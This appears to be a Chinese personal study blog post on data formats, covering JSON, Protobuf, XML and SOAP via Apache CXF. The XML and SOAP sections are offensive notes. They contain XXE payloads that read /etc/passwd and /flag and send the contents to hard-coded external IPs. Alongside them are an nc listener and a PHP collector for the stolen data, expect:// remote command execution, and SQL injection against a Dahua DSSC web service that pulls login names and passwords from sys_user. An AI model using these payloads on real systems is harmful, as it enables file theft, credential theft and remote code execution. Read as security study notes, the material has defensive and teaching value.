前言 记录一下遇到的数据交换协议,不定时更新
JSON json基本结构 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 var obj ={ "skillz" : { "web" : [ { "name" : "html" , "flag" :true }, { "name" : "css" , "runoob" :null } ], "database" : [ { "name" : "sql" , "years" : "7" } ] } }
花括弧 表示一个容器 ,通过名称访问方括号 装载数组 ,通过序号访问obj[skillz][web][0][flag]名称和值 用冒号 隔开数组元素 通过逗号 隔开
Protobuf Protocol Buffers(简称protobuf)是谷歌开发的一种数据序列化格式。在网络通信或数据存储场景中,protobuf可以将数据转化为紧凑的字节流 进行传输或保存,接收方可以将字节流还原回原始的数据结构。
试想一下这样的场景,json是字段和值传输的,根据key获取值,但是key字段值我们是知道的,那么我们没必要在传输的数据中保留key,我们可以在服务端保留一个文件,根据这个文件去对照,这样我们就可以省略一半的传输空间,这就是Protocol协议的设计思路
通讯过程 比如说我们想传输以下这个json数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 { "info" : { "some_number" : 2824952346709066335 , "pair" : { "a" : 2715546123191190817 , "b" : 2824925449275048782 } }, "kv" : [ { "key" : "s_device_identity" , "value" : "12345" }, { "key" : "idp_id" , "value" : "2824952346709066335" }, { "key" : "s_user_subject" , "value" : "daddaD" } ] }
我们可以在本地写个.proto 文件,对应上面的json数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 syntax = "proto3"; //声明proto版本,proto3和proto2文件写法不同,功能都一样 message Wrapper { IdpInfo info = 2; repeated KV kv = 3; //repeated表示列表 } message IdpInfo { int64 some_number = 2; Pair pair = 3; } message Pair { int64 a = 1; // 2715546123191190817 int64 b = 2; // 2824925449275048782 } message KV { string key = 1; // "s_device_identity" / "idp_id" / "s_user_subject" string value = 2; // uuid / id string / "daddaD" }
在传输的时候我们省略key(实际为二进制数据)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 2 { 2: 2824952346709066335 3 { 1: 2715546123191190817 2 : 2824925449275048782 } } 3 { 1: "s_device_identity" 2 : "28474f19-e4b3-49c8-9ab5-283d5dc4efb9" } 3 { 1: "idp_id" 2 : "2824952346709066335" } 3 { 1: "s_user_subject" 2 : "daddaD" }
可见传输数据中根本没有 “Pair”、”IdpInfo” 等字段名,哪怕你修改proto文件中的字段名,传输数据依旧不变
当反序列化后,查找Wrapper.info.pair.a的值2715546123191190817时,实际上就是根据field number 来映射,Wrapper.info.pair.a在proto中的映射就是2.3.1
python 实现 定义一个简单的 Person 消息:
1 2 3 4 5 6 7 syntax = "proto3"; message Person { string name = 1; int32 id = 2; string email = 3; }
使用 protoc 编译 .proto 文件为 Python 代码protoc --python_out=. person.proto 会在当前目录下生成 person_pb2.py 文件
使用生成的 Python 文件进行序列化和反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 import person_pb2person = person_pb2.Person() person.name = "Alice" person.id = 123 person.email = "alice@example.com" data = person.SerializeToString() print ("Serialized data:" , data)person.ParseFromString(data) print ("Name:" , person.name)print ("ID:" , person.id )print ("Email:" , person.email)
传输数据解析 生成上面的json格式
1 2 3 4 5 6 7 8 9 10 11 12 import base64import subprocesstry : decoded_bytes = base64.b64decode("EiAQ34SA6JLmj5onGhQIoYqA4PvZ49clEM6GgIiq14maJxo5ChFzX2RldmljZV9pZGVudGl0eRIkMjg0NzRmMTktZTRiMy00OWM4LTlhYjUtMjgzZDVkYzRlZmI5Gh0KBmlkcF9pZBITMjgyNDk1MjM0NjcwOTA2NjMzNRoYCg5zX3VzZXJfc3ViamVjdBIGZGFkZGFE" ) process = subprocess.Popen(['E:\\user\\Desktop\\web\\encode\\protoc\\bin\\protoc.exe' , '--decode_raw' ], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) output, error = process.communicate(decoded_bytes) print ("Result:\n" + str (output)) except KeyboardInterrupt: pass
gRPC xml 基于HTTP的XML数据传输 php 写XML 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting(0 ); libxml_disable_entity_loader (false ); $xmlfile = file_get_contents('php://input' ); $dom = new DOMDocument(); $dom ->loadXML($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom ); echo $creds ; ?>
xml基本结构 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" encoding="UTF-8"?> <site date ="12/11/2007" time ='12:00' > <name > RUNOOB</name > <message > if salary < 1000 then</message > <logo > runoob-logo.png</logo > <desc > 编程学习网站</desc > </site >
DTD(文档类型定义) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?xml version="1.0"?> <!DOCTYPE note [ <!--定义此文档是 note 类型的文档--> <!ENTITY x "Hello" > <!--ENTITY内部实体声明,相当于变量--><!ENTITY % param1 "Hello" > <!--参数实体声明,只能在DTD,即文档类型定义中使用--><!ENTITY file2 SYSTEM "file:///etc/passwd" > <!ENTITY % dtd SYSTEM "combine.dtd" > <!--外部参数实体声明,可以读取外部文件-->%dtd;%int;%send;<!--将参数实体整合到DTD定义中--> ]> <note > <to > &x; </to > <head > &file2;</head > <body > You are a good man</body > </note > <!ENTITY % file SYSTEM "file:///flag" > <!ENTITY % int "<!ENTITY % send SYSTEM 'http://47.98.199.11:7777?p=%file;'>" >
利用 文件读取
有回显
1 2 3 4 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [ <!ENTITY entityex SYSTEM "file:///folder/file" > ]><foo > <value > &entityex; </value > </foo >
无回显 需要主动访问外部,带出文件数据
错误示范 直接在内部实体定义中引用另一个实体的方法1 2 3 4 5 6 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % param1 "file:///c:/1.txt" > <!ENTITY % param2 "http://127.0.0.1/? %param1" > 不能在实体定义中引用参数实体%param2; ]>
进行内部实体嵌套1 2 3 4 5 6 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % param1 "file:///c:/1.txt" > <!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>" > 有些解释器不允许在内层实体中使用外部连接%param2; % param222; ]>
绕过方法 将嵌套的实体声明放入到一个外部文件中,绕过检测(请求两次外部实体)1 2 3 4 5 6 7 8 9 10 <!DOCTYPE convert [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag" > <!ENTITY % remote SYSTEM "http://124.220.165.133:9901/text.dtd" > %remote;%int;%send; ]> file.dtd : <!ENTITY % int "<!ENTITY % send SYSTEM 'http://124.220.165.133:9901?p=%file;'>" >
回显方法
监听端口
nc -lvvp 7777
在服务器上 python3 -m http.server 81 2. 或者查看日志 124.223.158.81 - - [19/Feb/2023:08:47:08 +0000] “GET /x.php?1=Y3Rmc2hvd3sxMGRkODQ5Ni0xZDQ3LTRmYWQtODE3Mi1kNmI0ZDBlMWMwZWN9Cg== HTTP/1.0” 404 466 “-“ “-“ [Sun Feb 19 08:47:08.149766 2023] [:error] [pid 2113] [client 124.223.158.81:53652] script ‘/var/www/html/x.php’ not found or unable to stat 3. 使用php脚本配合外带数据
1 2 3 4 5 6 7 8 <?php $content = $_GET ['1' ];if (isset ($content )){ file_put_contents('flag.txt' ,'更新时间:' .date("Y-m-d H:i:s" )."\n" .$content ); }else { echo 'no data input' ; }
PHP expect RCE 由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE
示例代码:
1 2 3 4 <!DOCTYPE root [<!ENTITY cmd SYSTEM "expect://id" > ]> <dir > <file > &cmd; </file > </dir >
soap协议 SOAP协议是一种基于XML的消息传递协议,它通常被用于在网络上交换结构化的信息。SOAP消息由XML构成,可以在HTTP、SMTP等多种协议上进行传输,常用于应用程序之间的通信
Apache CXF 是一个开源的服务框架,用于构建和开发服务导向架构(SOA)和Web服务。它支持多种协议(如SOAP和REST)和数据格式(如XML和JSON),并且提供了丰富的工具和库来简化服务的创建和消费。CXF允许开发者快速构建可靠和高效的Web服务应用程序,并集成了许多功能,如安全、事务管理和消息处理,下面用cxf演示soap协议
配置 设置接口类
1 2 3 4 5 6 7 8 9 10 @WebService( name = "CarReportService", targetNamespace = "http://carReport.webservice.dssc.dahua.com" ) public interface CarReportService { @WebMethod @WebResult( name = "result" ) String getFlowStatisticsQuery (@WebParam(name = "searchJson") String var1) ;
配置路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <servlet > <servlet-name > CXFServlet</servlet-name > <servlet-class > org.apache.cxf.transport.servlet.CXFServlet </servlet-class > <load-on-startup > 1</load-on-startup > </servlet > <servlet-mapping > <servlet-name > CXFServlet</servlet-name > <url-pattern > /services/*</url-pattern > </servlet-mapping > <bean id ="carReportServiceImpl" class ="com.dahua.dssc.webservice.carReport.CarReportServiceImpl" /> <jaxws:endpoint id ="carReportService" implementor ="#carReportServiceImpl" address ="/carReport" />
WSDL WSDL是一种描述Web服务的XML格式的语言,定义了服务的接口,包括操作、消息、数据类型等。 上面配置好后访问/portal/services/carReport?wsdl 即可查看wsdl 格式: WSDL文档描述了Web服务的功能和结构,并提供了如何与服务进行交互的说明。它定义了服务的可用操作、消息格式、数据类型、端点地址等信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <wsdl:definitions targetNamespace ="命名空间" > 用于定义 Web 服务中使用的复杂数据类型 <wsdl:types > <element name ="AdminService" type ="xsd:anyType" /> xsd:anyType 是一个通用的类型,它表示可以接受任何数据类型的值 <element name ="AdminServiceReturn" type ="xsd:anyType" /> </wsdl:types > 通信消息的数据结构的抽象类型化定义。使用Types所定义的类型来定义整个消息的数据结构体 <wsdl:message name ="AdminServiceRequest" > <wsdl:part element ="impl:AdminService" name ="part" > </wsdl:part > </wsdl:message > <wsdl:message name ="AdminServiceResponse" > 定义了一个消息,名为 AdminServiceResponse <wsdl:part element ="impl:AdminServiceReturn" name ="AdminServiceReturn" > </wsdl:part > </wsdl:message > WSDL 中用于描述 Web 服务接口中的的元素 <wsdl:portType name ="Admin" > <wsdl:operation name ="AdminService" > 定义一个操作名称为AdminService <wsdl:input message ="impl:AdminServiceRequest" name ="AdminServiceRequest" > </wsdl:input > 输入消息类型为AdminServiceRequest <wsdl:output message ="impl:AdminServiceResponse" name ="AdminServiceResponse" > </wsdl:output > 输出消息类型为AdminServiceResponse </wsdl:operation > </wsdl:portType > 定义了 Web 服务操作与传输协议(SOAP)之间的映射。 <wsdl:binding name ="AdminServiceSoapBinding" type ="impl:Admin" > type 属性指定了绑定关联的 wsdl:portType <wsdlsoap:binding style ="document" transport ="http://schemas.xmlsoap.org/soap/http" /> document: 是 SOAP 消息的标准格式,表示整个消息体将按照 XML 文档的格式进行传输 <wsdl:operation name ="AdminService" > <wsdlsoap:operation soapAction ="" /> <wsdl:input name ="AdminServiceRequest" > <wsdlsoap:body use ="literal" /> literal表示消息体直接使用 XML 文档表示 </wsdl:input > <wsdl:output name ="AdminServiceResponse" > <wsdlsoap:body use ="literal" /> </wsdl:output > </wsdl:operation > </wsdl:binding > 定义了 Web 服务的 端点地址 <wsdl:service name ="AdminService" > <wsdl:port binding ="impl:AdminServiceSoapBinding" name ="AdminService" > <wsdlsoap:address location ="http://**.***.***.cn/payment/services/AdminService" /> 客户端将通过这个 URL 来访问 Web 服务 </wsdl:port > </wsdl:service > </wsdl:definitions >
从service反着推就行了
使用soap协议访问 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 POST /portal/services/itcBulletin?wsdl HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Connection: close Content-Length: 345 Accept-Encoding: gzip <s11:Envelope xmlns:s11 ='http://schemas.xmlsoap.org/soap/envelope/' > <s11:Body > <ns1:deleteBulletin xmlns:ns1 ='http://itcbulletinservice.webservice.dssc.dahua.com' > <netMarkings > (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1 </netMarkings > </ns1:deleteBulletin > </s11:Body > </s11:Envelope >
当然也可以使用RESTful风格直接访问/portal/services/itcBulletin/deleteBulletin/netMarkings/(updatexml(1%2Cconcat(0x7e%2C(select substr(group_concat(login_name%2C " "%2Clogin_pass)%2C1%2C30) from sys_user)%2C0x7e)%2C1))) and (1%3D1
返回数据包
1 2 3 4 5 6 7 8 9 10 <soap:Envelope > <soap:Body > <soap:Fault > <faultcode > soap:Server</faultcode > <faultstring > ..................... </faultstring > </soap:Fault > </soap:Body > </soap:Envelope >